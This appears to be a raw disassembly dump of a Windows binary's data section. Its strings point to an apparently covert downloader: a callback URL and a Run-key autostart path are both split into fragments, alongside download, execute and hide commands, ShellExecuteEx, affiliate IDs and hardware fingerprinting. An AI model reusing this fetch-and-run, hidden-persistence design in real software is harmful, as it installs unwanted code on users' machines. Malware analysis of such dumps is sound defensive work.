38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh byte_414AA4 db 20h ; DATA XREF: sub_40EA92:loc_40EAAAr aUnzip0_15Copyr db 'unzip 0.15 Copyright 1998 Gilles Vollant ',0 align 10h dd offset dword_414B20 off_414AD4 dd offset sub_41159F ; DATA XREF: HSho:00417020o ; HSho:off_417030o ... dword_414AD8 dd 0FFFFFFFFh, 4117C8h, 4117DCh, 414B68hoff_414AE8 dd offset sub_409A10 ; DATA XREF: sub_4099B0+26o ; sub_409A40+Ao ... align 10h off_414AF0 dd offset off_417BB0 ; DATA XREF: HSho:00414B08o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_414AF0 dword_414B0C dd 3 dup(0) dd 1, 414B08h dword_414B20 dd 3 dup(0) dd offset off_417BB0 dd offset dword_414B0C+4 align 8 off_414B38 dd offset off_417BE8 ; DATA XREF: HSho:00414B50o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_414B38 dd 0 db 0 ; DATA XREF: HSho:00414B78o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 414B50h, 3 dup(0) dd offset off_417BE8 dd offset unk_414B58 align 10h dword_414B80 dd 19930520h, 2, 414BA0h, 1, 414BB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414BC8h, 4 dup(0) dd offset loc_40119D dword_414BD8 dd 19930520h, 2, 414BF8h, 1, 414C08h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414C20h, 4 dup(0) dd offset loc_401245 dword_414C30 dd 19930520h, 3, 414C50h, 1, 414C68h, 3 dup(0) dd 0FFFFFFFFh, 411A84h, 4 dup(0) dd 2 dup(1), 2, 1, 414C80h, 4 dup(0) dd offset loc_401402 dword_414C90 dd 19930520h, 2, 414CB0h, 1, 414CC0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414CD8h, 4 dup(0) dd offset loc_4015A1 dword_414CE8 dd 19930520h, 2, 414D08h, 1, 414D18h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414D30h, 4 dup(0) dd offset loc_4017D7 dword_414D40 dd 19930520h, 2, 414D60h, 1, 414D70h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414D88h, 4 dup(0) dd offset loc_401966 dd 1, 417020h, 0 dd 0FFFFFFFFh, 0 dd 4, 2 dup(0) dword_414DB8 dd 1, 414D98h dword_414DC0 dd 3 dup(0) ; HSho:004012E6o ... dd offset dword_414DB8 dword_414DD0 dd 19930520h, 2, 414DF0h, 1, 414E00h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414E18h, 2 dup(0) dd offset off_417030 dd 0FFFFFEC0h, 401D58h dword_414E28 dd 19930520h, 4, 414E48h, 5 dup(0) dd 0FFFFFFFFh, 411AE5h, 0 ; --------------------------------------------------------------------------- retf 411Ah ; --------------------------------------------------------------------------- align 4 dd 1, 411AD3h, 2, 411ADCh dword_414E68 dd 19930520h, 0Bh, 414E88h, 5 dup(0) dd 0FFFFFFFFh, 411B08h, 0 dd offset loc_411B10 dd 1, 411B1Bh, 2, 411B26h, 3, 411B31h, 4, 411B3Ch, 5, 411B47h dd 6, 411B52h, 7, 411B5Dh, 8, 411B6Bh, 9, 411B73h dword_414EE0 dd 19930520h, 8, 414F00h, 5 dup(0) dd 0FFFFFFFFh, 411B88h, 0 dd offset loc_411B90 dd 1, 411B9Bh, 2, 411BA6h, 3, 411BB1h, 4, 411BBCh, 5, 411BC7h dd 6, 411BD2h dword_414F40 dd 19930520h, 2, 414F60h, 1, 414F70h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 414F88h, 4 dup(0) dd offset loc_402F05 dword_414F98 dd 19930520h, 3, 414FB8h, 5 dup(0) dd 0FFFFFFFFh, 411C04h, 0 dd offset loc_411BF4 dd 1, 411BFCh dword_414FD0 dd 19930520h, 4, 414FF0h, 5 dup(0) dd 0FFFFFFFFh, 411C40h, 0 dd offset loc_411C28 dd 1, 411C30h, 2, 411C38h dword_415010 dd 19930520h, 20h, 415030h, 5 dup(0) dd 0FFFFFFFFh, 411C64h, 0 dd offset loc_411C6C dd 1, 411C74h, 1, 411C7Fh, 1, 411C8Ah, 1, 411C95h, 1, 411CA0h dd 1, 411CA8h, 1, 411CB3h, 1, 411CBBh, 1, 411CC6h, 1, 411CD1h dd 1, 411CD9h, 1, 411CE4h, 1, 411CECh, 0Eh, 411CF4h, 0Fh dd 411CFCh, 0Fh, 411D07h, 0Fh, 411D12h, 0Fh, 411D1Dh, 0Fh dd 411D28h, 0Fh, 411D33h, 0Fh, 411D3Eh, 0Fh, 411D49h, 0Fh dd 411D54h, 0Fh, 411D5Ch, 0Fh, 411D64h, 0Fh, 411D6Ch, 0Fh dd 411D74h, 0Fh, 411D7Ch, 0Fh, 411D87h, 0Fh, 411D92h dword_415130 dd 19930520h, 1, 415150h, 5 dup(0) dd 0FFFFFFFFh, 411DA8h dword_415158 dd 19930520h, 1, 415178h, 5 dup(0) dd 0FFFFFFFFh, 411DBCh dword_415180 dd 19930520h, 4, 4151A0h, 5 dup(0) dd 0FFFFFFFFh, 411DD0h, 0 dd offset loc_411DD8 dd 1, 411DE0h, 1, 411DE8h dword_4151C0 dd 19930520h, 0Eh, 4151E0h, 5 dup(0) dd 0FFFFFFFFh, 411DFCh, 0 dd offset loc_411E04 dd 0FFFFFFFFh, 411E0Ch, 2, 411E14h, 3, 411E1Ch, 3, 411E24h dd 3, 411E2Ch, 3, 411E34h, 7, 411E3Ch, 8, 411E44h, 7, 411E4Ch dd 7, 411E54h, 7, 411E5Fh, 7, 411E67h dword_415250 dd 19930520h, 2, 415270h, 5 dup(0) dd 0FFFFFFFFh, 411E7Ch, 0 dd offset loc_411E84 dword_415280 dd 19930520h, 9, 4152A0h, 5 dup(0) dd 0FFFFFFFFh, 411E98h, 0 dd offset loc_411EA0 dd 1, 411EA8h, 2, 411EB3h, 2, 411EBBh, 4, 411EC6h, 4, 411ECEh dd 4, 411ED6h, 7, 411EE1h dword_4152E8 dd 19930520h, 0Ah, 415308h, 5 dup(0) dd 0FFFFFFFFh, 411EF4h, 0 dd offset loc_411EFC dd 1, 411F04h, 2, 411F0Ch, 2, 411F14h, 4, 411F1Ch, 5, 411F24h dd 6, 411F2Ch, 6, 411F34h, 8, 411F3Ch dword_415358 dd 19930520h, 6, 415378h, 5 dup(0) dd 0FFFFFFFFh, 411F78h, 0 dd offset loc_411F50 dd 1, 411F58h, 1, 411F60h, 3, 411F68h, 4, 411F70h dword_4153A8 dd 19930520h, 2, 4153C8h, 5 dup(0) dd 0FFFFFFFFh, 411F9Ch, 0 dd offset loc_411FA4 dword_4153D8 dd 19930520h, 6, 4153F8h, 5 dup(0) dd 0FFFFFFFFh, 411FE0h, 0 dd offset loc_411FB8 dd 1, 411FC0h, 1, 411FC8h, 3, 411FD0h, 4, 411FD8h dword_415428 dd 19930520h, 6, 415448h, 5 dup(0) dd 0FFFFFFFFh, 41202Ch, 0 dd offset loc_412004 dd 1, 41200Ch, 1, 412014h, 3, 41201Ch, 4, 412024h dword_415478 dd 19930520h, 8, 415498h, 5 dup(0) dd 0FFFFFFFFh, 412050h, 0 dd offset loc_412058 dd 1, 412060h, 1, 412068h, 3, 412070h, 4, 412078h, 4, 412080h dd 6, 412088h dword_4154D8 dd 19930520h, 6, 4154F8h, 5 dup(0) dd 0FFFFFFFFh, 41209Ch, 0 dd offset loc_4120A4 dd 1, 4120ACh, 1, 4120B4h, 3, 4120BCh, 4, 4120C4h dword_415528 dd 19930520h, 6, 415548h, 5 dup(0) dd 0FFFFFFFFh, 412100h, 0 dd offset loc_4120D8 dd 1, 4120E0h, 1, 4120E8h, 3, 4120F0h, 4, 4120F8h dword_415578 dd 19930520h, 3, 415598h, 5 dup(0) dd 0FFFFFFFFh, 412124h, 0 dd offset loc_41212C dd 1, 412134h dword_4155B0 dd 19930520h, 15h, 4155D0h, 5 dup(0) dd 0FFFFFFFFh, 412148h, 0 dd offset loc_412150 dd 1, 412158h, 2, 412160h, 3, 412168h, 3, 412170h, 3, 412178h dd 6, 412180h, 3, 412188h, 3, 412190h, 3, 412198h, 0Ah dd 4121A0h, 0Bh, 4121A8h, 0Bh, 4121B0h, 0Dh, 4121B8h, 0Eh dd 4121C0h, 0Dh, 0 dd 0Dh, 0 dd 0Dh, 4121C8h, 0Dh, 0 dd 0Dh, 0 dword_415678 dd 19930520h, 2, 415698h, 1, 4156A8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4156C0h, 4 dup(0) dd offset sub_40628D dword_4156D0 dd 19930520h, 1, 4156F0h, 5 dup(0) dd 0FFFFFFFFh, 4121F0h dword_4156F8 dd 19930520h, 4, 415718h, 5 dup(0) dd 0FFFFFFFFh, 412203h, 0 dd offset loc_41220C dd 1, 412215h, 1, 41221Eh dword_415738 dd 19930520h, 3, 415758h, 5 dup(0) dd 0FFFFFFFFh, 412231h, 0 dd offset loc_41223A dd 1, 412246h dword_415770 dd 19930520h, 7, 415790h, 5 dup(0) dd 0FFFFFFFFh, 41225Ch, 0 dd offset loc_412265 dd 1, 41226Eh, 2, 412277h, 3, 412283h, 4, 41228Fh, 4, 412298h dword_4157C8 dd 19930520h, 2, 4157E8h, 5 dup(0) dd 0FFFFFFFFh, 4122ABh, 0 dd offset loc_4122B4 dword_4157F8 dd 19930520h, 1, 415818h, 5 dup(0) dd 0FFFFFFFFh, 4122CAh dword_415820 dd 19930520h, 1, 415840h, 5 dup(0) dd 0FFFFFFFFh, 4122DDh dword_415848 dd 19930520h, 1, 415868h, 5 dup(0) dd 0FFFFFFFFh, 4122F0h dword_415870 dd 19930520h, 4, 415890h, 5 dup(0) dd 0FFFFFFFFh, 412303h, 0 dd offset loc_41230C dd 1, 412315h, 1, 41231Eh dword_4158B0 dd 19930520h, 1, 4158D0h, 5 dup(0) dd 0FFFFFFFFh, 412331h dword_4158D8 dd 19930520h, 4, 4158F8h, 5 dup(0) dd 0FFFFFFFFh, 412344h, 0 dd offset loc_41234D dd 1, 412356h, 1, 41235Fh dword_415918 dd 19930520h, 3, 415938h, 5 dup(0) dd 0FFFFFFFFh, 412372h, 0 dd offset loc_41237B dd 1, 412388h dword_415950 dd 19930520h, 7, 415970h, 5 dup(0) dd 0FFFFFFFFh, 41239Fh, 0 dd offset loc_4123A9 dd 1, 4123B3h, 2, 4123BCh, 3, 4123C9h, 4, 4123D6h, 4, 4123E0h dword_4159A8 dd 19930520h, 2, 4159C8h, 5 dup(0) dd 0FFFFFFFFh, 4123F4h, 0 dd offset loc_4123FD dword_4159D8 dd 19930520h, 1, 4159F8h, 5 dup(0) dd 0FFFFFFFFh, 412414h dword_415A00 dd 19930520h, 1, 415A20h, 5 dup(0) dd 0FFFFFFFFh, 412428h dword_415A28 dd 19930520h, 1, 415A48h, 5 dup(0) dd 0FFFFFFFFh, 41243Ch dword_415A50 dd 19930520h, 4, 415A70h, 5 dup(0) dd 0FFFFFFFFh, 41244Fh, 0 dd offset loc_412459 dd 1, 412462h, 1, 41246Ch dword_415A90 dd 19930520h, 1, 415AB0h, 5 dup(0) dd 0FFFFFFFFh, 412480h dword_415AB8 dd 19930520h, 1, 415AD8h, 5 dup(0) dd 0FFFFFFFFh, 4124A0h dword_415AE0 dd 19930520h, 1, 415B00h, 5 dup(0) dd 0FFFFFFFFh, 4124C0h dword_415B08 dd 19930520h, 1, 415B28h, 5 dup(0) dd 0FFFFFFFFh, 4124E0h dword_415B30 dd 19930520h, 3, 415B50h, 5 dup(0) dd 0FFFFFFFFh, 412500h, 0 dd offset loc_41250C dd 1, 412518h dword_415B68 dd 19930520h, 3, 415B88h, 5 dup(0) dd 0FFFFFFFFh, 412540h, 0 dd offset loc_41254C dd 1, 412558h dword_415BA0 dd 19930520h, 1Ah, 415BC0h, 5 dup(0) dd 0FFFFFFFFh, 412580h, 0 dd offset loc_412589 dd 1, 412592h, 2, 41259Bh, 3, 4125A4h, 4, 4125B0h, 5, 4125BCh dd 6, 4125C8h, 7, 4125D4h, 8, 4125E0h, 9, 4125ECh, 0Ah dd 4125F8h, 0Bh, 412604h, 0Ch, 412610h, 0Dh, 41261Ch, 0Eh dd 412628h, 0Fh, 412634h, 10h, 412640h, 11h, 41264Ch, 12h dd 412658h, 13h, 412664h, 3, 412670h, 3, 41267Ch, 16h dd 412688h, 17h, 412691h, 17h, 41269Dh dword_415C90 dd 19930520h, 8, 415CB0h, 5 dup(0) dd 0FFFFFFFFh, 4126B3h, 0 dd offset loc_4126BF dd 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 26h, 41h, 0 dd 0 dd offset loc_4126D7 dd 0 dd offset loc_4126E3 dd 0 dd offset loc_4126EF dd 0 dd offset loc_4126FB dd 0 dd offset loc_412707 dword_415CF0 dd 19930520h, 2, 415D10h, 1, 415D20h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 415D38h, 4 dup(0) dd offset loc_4093AF dword_415D48 dd 19930520h, 1, 415D68h, 5 dup(0) dd 0FFFFFFFFh, 412730h dword_415D70 dd 19930520h, 1, 415D90h, 5 dup(0) dd 0FFFFFFFFh, 412750h dword_415D98 dd 19930520h, 1, 415DB8h, 5 dup(0) dd 0FFFFFFFFh, 412770h dword_415DC0 dd 19930520h, 1, 415DE0h, 5 dup(0) dd 0FFFFFFFFh, 412790h, 0 dd offset off_417BE8 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 411A38h, 0 dword_415E08 dd 1, 415DE8h dword_415E10 dd 0 dd offset sub_409A40 dd 0 dd offset dword_415E08 align 200h HSho ends ; Section 2. (virtual address 00016000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00016000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute HSho segment para public 'CODE' use32 assume cs:HSho ;org 416000h assume es:nothing, ss:nothing, ds:HSho, fs:nothing, gs:nothing dword_416000 dd 400h dup(0) dword_417000 dd 0 dd offset sub_4082E0 dd offset sub_411891 dword_41700C dd 0 dword_417010 dd 0 dword_417014 dd 3 dup(0) dd offset off_414AD4 align 8 dd 482Eh dword_41702C dd 6325h off_417030 dd offset off_414AD4 ; DATA XREF: HSho:00414E1Co align 8 a_pavcexception db '.PAVCException@@',0 align 4 aR_0: ; DATA XREF: HSho:00402558o unicode 0, <r>,0 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4027A4:loc_4027EDo aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4027A4:loc_402808o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4027A4+79o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4027A4+8Bo aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4027A4+9Do align 4 aD db '%d',0 ; DATA XREF: sub_402A1E+F6o align 4 aOpen db 'OPEN',0 ; DATA XREF: sub_402C48+23Do align 4 asc_4170B4: ; DATA XREF: sub_402C48+1B5o unicode 0, <)>,0 aCrcOkInstall db 'crc ok, Install(',0 ; DATA XREF: sub_402C48+19Bo align 4 a_old db '.old',0 ; DATA XREF: sub_402C48+159o align 4 aCrcFailed db 'crc failed:',0 ; DATA XREF: sub_402C48+E9o aInstallzip db 'InstallZip()',0Ah,0 ; DATA XREF: sub_402C48+7Bo align 10h a_bin db '.bin',0 ; DATA XREF: sub_402C48+3Do align 4 aRetryD db '&retry=%d',0 ; DATA XREF: sub_402F1E+4Co align 4 a0: ; DATA XREF: sub_40592B+6Co unicode 0, <0>,0 a02x db '%02X',0 ; DATA XREF: sub_402FAF+D1o align 10h dword_417110 dd 0D321C942h, 2212B3F2h, 6608AB02h, 0 ; sub_4030F7+8Eo dword_417120 dd 6325h dword_417124 dd 74696E49h, 646E7542h, 0A656Chdword_417130 dd 5Ch ; sub_405327+38o ... aWindows db 'windows',0 ; DATA XREF: sub_403488+BEBo aCrc db 'crc',0 ; DATA XREF: sub_403488:loc_403FB6o aIdentifier db 'identifier',0 ; DATA XREF: sub_403488:loc_403F3Fo align 4 aVersion_0 db 'version',0 ; DATA XREF: sub_403488:loc_403ECEo aNewupdater db 'newupdater',0 ; DATA XREF: sub_403488:loc_403E5Eo align 10h aWait db 'wait',0 ; DATA XREF: sub_403488:loc_403DEEo align 4 aExecute db 'execute',0 ; DATA XREF: sub_403488:loc_403D7Eo aHide db 'hide',0 ; DATA XREF: sub_403488:loc_403D0Eo align 4 aSavepath db 'SavePath',0 ; DATA XREF: sub_403488:loc_403CA3o align 4 aSaveas db 'SaveAs',0 ; DATA XREF: sub_403488:loc_403C2Co align 4 aParameters db 'parameters',0 ; DATA XREF: sub_403488:loc_403BBBo align 4 aFilename db 'filename',0 ; DATA XREF: sub_403488:loc_403B4Ao align 4 aRequiredfile db 'requiredfile',0 ; DATA XREF: sub_403488:loc_403AD9o align 4 aKeyvalue db 'keyvalue',0 ; DATA XREF: sub_403488:loc_403A68o align 10h aKey db 'key',0 ; DATA XREF: sub_403488:loc_4039FDo aRootkey db 'rootkey',0 ; DATA XREF: sub_403488+508o aDownload db 'download',0 ; DATA XREF: sub_403488:loc_403864o ; sub_404484+5Fo align 4 aWrNextupdate db 'WR\nextupdate',0 ; DATA XREF: sub_403488+3A6o align 4 aNextupdate db 'nextupdate',0 ; DATA XREF: sub_403488:loc_403753o align 4 aWrP db 'WR\p',0 ; DATA XREF: sub_403488+282o align 4 aPaid db 'paid',0 ; DATA XREF: sub_403488:loc_403632o align 4 aWrConfigversio db 'WR\configversion',0 ; DATA XREF: sub_403488+161o align 4 aConfigversio_0 db 'configversion',0 ; DATA XREF: sub_403488+84o align 4 aS db '%s',0 ; DATA XREF: sub_403488+6Eo ; sub_403488+4EAo ... align 4 aParsexml db 'ParseXML()',0Ah,0 ; DATA XREF: sub_403488+2Fo dword_417238 dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_4043E6+19o ... dword_417248 dd 3Ah dword_41724C dd 765C5257h, 69737265h, 6E6Fh ; sub_404605+320o ... dword_417258 dd 706D742Eh, 0 dword_417260 dd 6C6F2320h, 3A64haDefaultvalue db 'defaultvalue',0 ; DATA XREF: sub_405150+88o ; sub_405E1F+214o align 4 asc_417278: ; DATA XREF: sub_404B40+47Ao unicode 0, <}>,0 a000001 db '000001',0 ; DATA XREF: sub_404B40+421o align 4 a0a887397a5f240 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA4DA76476' ; DATA XREF: sub_404B40+317o db 'DE96109318D40A797',0 align 4 a000000 db '-0000-00',0 ; DATA XREF: sub_404B40+309o align 4 aHardwareDesc_0 db 'HARDWARE\DESCRIPTION\System\SystemBiosDate',0 ; DATA XREF: sub_404B40+216o align 10h asc_417310: ; DATA XREF: sub_404B40+1A6o unicode 0, <->,0 aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz',0 ; DATA XREF: sub_404B40+164o a08x db '%08X',0 ; DATA XREF: sub_404B40+120o align 10h asc_417350: ; DATA XREF: sub_404B40+CAo unicode 0, <{>,0 a04x db '%04X',0 ; DATA XREF: sub_404B40+A1o ; sub_404B40+18Eo align 4 asc_41735C: ; DATA XREF: sub_405150+F8o unicode 0, < >,0 aNner1 db 'nner1',0 ; DATA XREF: sub_405150+6Eo align 4 aUnRu db 'un\ru',0 ; DATA XREF: sub_405150+5Do align 10h aTversionR db 'tVersion\R',0 ; DATA XREF: sub_405150+4Co align 4 aFtWindowsCurre db 'ft\Windows\Curren',0 ; DATA XREF: sub_405150+3Bo align 10h aSoftwareMicros db 'SOFTWARE\Microso',0 ; DATA XREF: sub_405150+20o align 4 aGversion db 'gversion',0 ; DATA XREF: sub_405327+5Ao align 10h aConfi db 'confi',0 ; DATA XREF: sub_405327+49o align 4 aWr db 'WR',0 ; DATA XREF: sub_405327+21o ; sub_40543F+1Bo ... align 4 aDate db 'date',0 ; DATA XREF: sub_40543F+64o align 4 aTup db 'tup',0 ; DATA XREF: sub_40543F+54o aNex db 'nex',0 ; DATA XREF: sub_40543F+44o aP_0: ; DATA XREF: sub_40558C+49o unicode 0, <p>,0 aI: ; DATA XREF: sub_405693+5Ao ; sub_4057AB+57o unicode 0, <i>,0 aR: ; DATA XREF: sub_405693+38o ; sub_4057AB+35o ... unicode 0, <R>,0 aW: ; DATA XREF: sub_405693+21o ; sub_4057AB+1Ao ... unicode 0, <W>,0 asc_4173DC: ; DATA XREF: sub_4057AB+E4o unicode 0, <,>,0 aCmd db 'cmd',0 ; DATA XREF: sub_40592B+57o aMd db 'md',0 ; DATA XREF: sub_405A64+6Bo align 4 aC: ; DATA XREF: sub_405A64+5Ao unicode 0, <c>,0 aAffid db 'affID',0 ; DATA XREF: sub_405B91+1E7o align 4 aVersion_1 db '\version',0 ; DATA XREF: sub_405E1F+264o align 10h a11866787a5f240 db '11866787A5F240675EE6610530A652BC94C74E756BC56C0935BA7D9087C160476' ; DATA XREF: sub_405E1F+228o db 'CDF5E0330BA48BC9CEF42506DCC7A072F8F48BF97C0564B70',0 align 4 a_exe_tmp db '.exe.tmp',0 ; DATA XREF: sub_405E1F+134o align 10h aInu db 'inu',0 ; DATA XREF: sub_405E1F+129o aOf db 'of',0 ; DATA XREF: sub_405E1F+115o align 4 aMr db 'mr',0 ; DATA XREF: sub_405E1F+104o align 4 aE: ; DATA XREF: sub_405E1F+DDo unicode 0, <e>,0 a_ex db '.ex',0 ; DATA XREF: sub_405E1F+B5o aFinu db 'finu',0 ; DATA XREF: sub_405E1F+A1o align 4 aRo db 'ro',0 ; DATA XREF: sub_405E1F+90o align 10h aM db '\m',0 ; DATA XREF: sub_405E1F+64o align 4 aSei db 'sei ',0Ah,0 ; DATA XREF: sub_406208+49o align 4 aShellexecuteex db 'ShellExecuteEx',0 ; DATA XREF: sub_406208+27o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_406208+15o asc_4174C8: ; DATA XREF: sub_406374+60o unicode 0, <\>,0 asc_4174CC: ; DATA XREF: sub_406374+ACo unicode 0, <\>,0 asc_4174D0: ; DATA XREF: sub_406374+107o unicode 0, <\>,0 asc_4174D4: ; DATA XREF: sub_406374+117o unicode 0, <\>,0 asc_4174D8: ; DATA XREF: sub_40671B+8Ao unicode 0, <\>,0 asc_4174DC: ; DATA XREF: sub_40671B+D6o unicode 0, <\>,0 asc_4174E0: ; DATA XREF: sub_40671B+131o unicode 0, <\>,0 asc_4174E4: ; DATA XREF: sub_40671B+141o unicode 0, <\>,0 asc_4174E8: ; DATA XREF: HSho:00406DD4o unicode 0, <\>,0 asc_4174EC: ; DATA XREF: HSho:00406E20o unicode 0, <\>,0 asc_4174F0: ; DATA XREF: HSho:00406E7Bo unicode 0, <\>,0 asc_4174F4: ; DATA XREF: HSho:00406E8Bo unicode 0, <\>,0 asc_4174F8: ; DATA XREF: HSho:004072F7o unicode 0, <\>,0 asc_4174FC: ; DATA XREF: HSho:00407343o unicode 0, <\>,0 asc_417500: ; DATA XREF: HSho:0040739Eo unicode 0, <\>,0 asc_417504: ; DATA XREF: HSho:004073AEo unicode 0, <\>,0 aD_0 db '%d',0 ; DATA XREF: sub_40831F+7Co align 4 asc_41750C db '&x=',0 ; DATA XREF: sub_40831F+92o aI_0 db '&i=',0 ; DATA XREF: sub_40831F+C9o aP_1 db '&p=',0 ; DATA XREF: sub_40831F+100o aCmd_0 db '&cmd=',0 ; DATA XREF: sub_40831F+10Ao align 10h aGuid db '&GUID=',0 ; DATA XREF: sub_40831F+161o align 4 aConfigversion db '&configversion=',0 ; DATA XREF: sub_40831F+198o aVersion db '&version=',0 ; DATA XREF: sub_40831F+1A7o align 4 aHtt db 'htt',0 ; DATA XREF: sub_40831F+4CFo aP db 'p://',0 ; DATA XREF: sub_40831F+4E9o align 10h aWr_mc db 'wr.mc',0 ; DATA XREF: sub_40831F+503o align 4 aBoo_co db 'boo.co',0 ; DATA XREF: sub_40831F+51Do align 10h aMReta db 'm/reta',0 ; DATA XREF: sub_40831F+537o align 4 aDpu_php? db 'dpu.php?',0 ; DATA XREF: sub_40831F+551o align 4 aOld db 'old',0 ; DATA XREF: sub_408D9F+3C1o dword_417578 dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_409AF0+4Ao ... dword_417588 dd 2 dup(0) dd 0C0h, 46000000h aNeedDictiona_0 db 'need dictionary',0 ; DATA XREF: HSho:off_4132D0o aStreamEnd db 'stream end',0 ; DATA XREF: HSho:004132D4o align 4 aFileError db 'file error',0 ; DATA XREF: HSho:004132DCo align 10h aStreamError db 'stream error',0 ; DATA XREF: HSho:004132E0o align 10h aDataError db 'data error',0 ; DATA XREF: HSho:004132E4o align 4 aInsufficientMe db 'insufficient memory',0 ; DATA XREF: HSho:004132E8o aBufferError db 'buffer error',0 ; DATA XREF: HSho:004132ECo align 10h aIncompatibleVe db 'incompatible version',0 ; DATA XREF: HSho:004132F0o align 4 aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_40A04E+342o aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_40A04E+60Eo align 4 aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_40AF6D+29Bo align 10h aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_40AF6D+3D8o align 10h aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_40AF6D+7D2o aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_40AF6D+DE1o align 10h aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_40CBFE+65o aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_40CBFE+7Fo aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_40CCA6+84o align 10h aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_40CCA6+96o align 10h aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_40CCA6+119o align 10h aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_40CCA6+12Bo align 4 aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_40CCA6+144o align 10h aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_40CE56+3A8o align 4 aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_40CE56+586o a1_1_3 db '1.1.3',0 ; DATA XREF: HSho:0040D98Ao align 4 a1_1_3_0 db '1.1.3',0 ; DATA XREF: sub_40DAB5+6o align 4 byte_4177F4 db 31h ; DATA XREF: sub_40DAB5+20r db 2Eh, 31h, 2Eh dd 33h aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_40DC35+D1o align 4 aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_40DC35+113o aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_40DC35+1B1o align 4 aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_40DC35+3C3o aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_40DC35+64Co align 4 asc_41786C: ; DATA XREF: sub_40FE9E+39o unicode 0, <\>,0 aUt db 'UT',0 ; DATA XREF: sub_40FF4C+4ACo align 4 a__ db '../',0 ; DATA XREF: sub_4107B2+32Do a___0 db '..\',0 ; DATA XREF: sub_4107B2+349o aUnknownZipResu db 'unknown zip result code',0 